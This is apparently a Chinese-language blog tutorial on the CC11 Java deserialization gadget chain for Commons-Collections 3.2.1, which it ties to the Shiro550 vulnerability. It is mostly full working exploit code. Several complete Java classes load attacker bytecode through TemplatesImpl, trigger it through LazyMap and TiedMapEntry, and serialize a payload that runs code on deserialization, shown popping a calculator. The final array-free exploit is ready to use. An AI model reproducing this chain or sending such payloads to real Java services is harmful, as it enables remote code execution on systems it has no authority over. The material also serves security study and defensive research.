Java反序列化-CC11链

前言

这条链子的主要作用是为了可以在 Commons-Collections 3.2.1 版本中使用,而且还是无数组的方法。这条链子适用于 Shiro550漏洞

CC11链子流程

CC2 + CC6的结合体

CC2

这是CC2的流程图,我们取的是后面那三个链子,但是由于CC2 只能在 commons-collections4.0 版本中使用,所以前半段链用不了
image.png
首先我们从 defineClass方法的调用去向上寻找链子
image.png
image.png
可以发现 newTransformer 方法是public,可控的,可以调用 getTransletInstance方法进行实例化
image.png
构造链:

TemplatesImpl.newTransformer()
-->
defineClass->newInstance

调用 TemplatesImpl类的 newTransformer方法

TemplatesImpl templates = new TemplatesImpl();

templates.newTransformer();

因为调用 getTransletInstance方法需要满足这个if判断
image.png
所以我们需要构造代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.lang.reflect.Field;

public class C11 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");


    }
}

我们需要满足第二个if判断才可以满足初始化
image.png
点进去 defineTransletClasses 方法
image.png
可以发现 _bytecodes 如果不为空,就进入下面的代码段。
image.png
从而构造exp代码段:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class C11 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        //在readObject中找,因为该字段不身不参加序列化
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //初始化加载类
        templates.newTransformer();

    }
}

运行之后命令执行成功
image.png
InvokerTransformer这个链子在后面会与CC6连接的

CC6

CC6的链子流程:

xxx.readObject()
	HashMap.put()
	HashMap.hash()
		TiedMapEntry.hashCode()
		TiedMapEntry.getValue()
			LazyMap.get()
				ChainedTransformer.transform()
					InvokerTransformer.transform()
						Runtime.exec()

尾部链

TiedMapEntry 类中的getVAlue调用了 LazyMap类的 get方法
image.png
image.png
继续拼接exp代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C11 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //初始化加载类
//        templates.newTransformer();
//CC6的开始
        
        Transformer[] transformers = {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
        tiedMapEntry.getValue();



    }
}

可以看见成功弹出计算器
image.png

结合入口链

可以看见 TiedMapEntry类的hashCode()方法中调用 getValue()方法
image.png
在Java反序列化中 找到 hashCode()之后的链子几乎都是这个

xxx.readObject()
	HashMap.put() --自动调用-->  后续利用链.hashCode()

所以我们可以构造exp代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C11 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //初始化加载类
//        templates.newTransformer();
        Transformer[] transformers = {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
        //        tiedMapEntry.getValue(); hashCode代替
        lazymap.put(tiedMapEntry,null);


    }
}

可以看见计算器成功弹出
image.png

解决只有反序列化执行命令

如果我们在序列化执行命令前,修改这行代码的chainedTransformer,它就不能执行了命令了

Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
-->修改为
Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));

因为这个字段名 factory 是可控的
image.png
我们可以等序列化执行代码后,通过反射改回 factory的值为chainedTransformer,反序列化的时候就可以执行了

 Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

在 LazyMap的get方法中可以看见,如果key是false才会执行
image.png
所以我们需要修改代码,在xxx.put()后面添加这一行代码:

lazymap.remove(null);

CC6+CC2有数组最终exp代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C11 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //初始化加载类
//        templates.newTransformer();
        Transformer[] transformers = {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
        //        tiedMapEntry.getValue(); hashCode代替
        lazymap.put(tiedMapEntry,null);
        lazymap.remove(null);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

        serialize(hashMap);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;

    }

}

可以看见反序列化后命令执行成功
image.png

CC11无数组exp构造

修改有数组的CC11代码如下:

 Transformer[] transformers = {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
--->修改为
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

修改的代码:

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
        //        tiedMapEntry.getValue(); hashCode代替
        lazymap.put(tiedMapEntry,null);
        lazymap.remove(templates);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,invokerTransformer);

最终exp代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class C11 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //初始化加载类
//        templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);


        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
        //        tiedMapEntry.getValue(); hashCode代替
        lazymap.put(tiedMapEntry,null);
        lazymap.remove(templates);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,invokerTransformer);

        serialize(hashMap);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;

    }

}

可以看见反序列化的时候计算器成功弹出
image.png

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值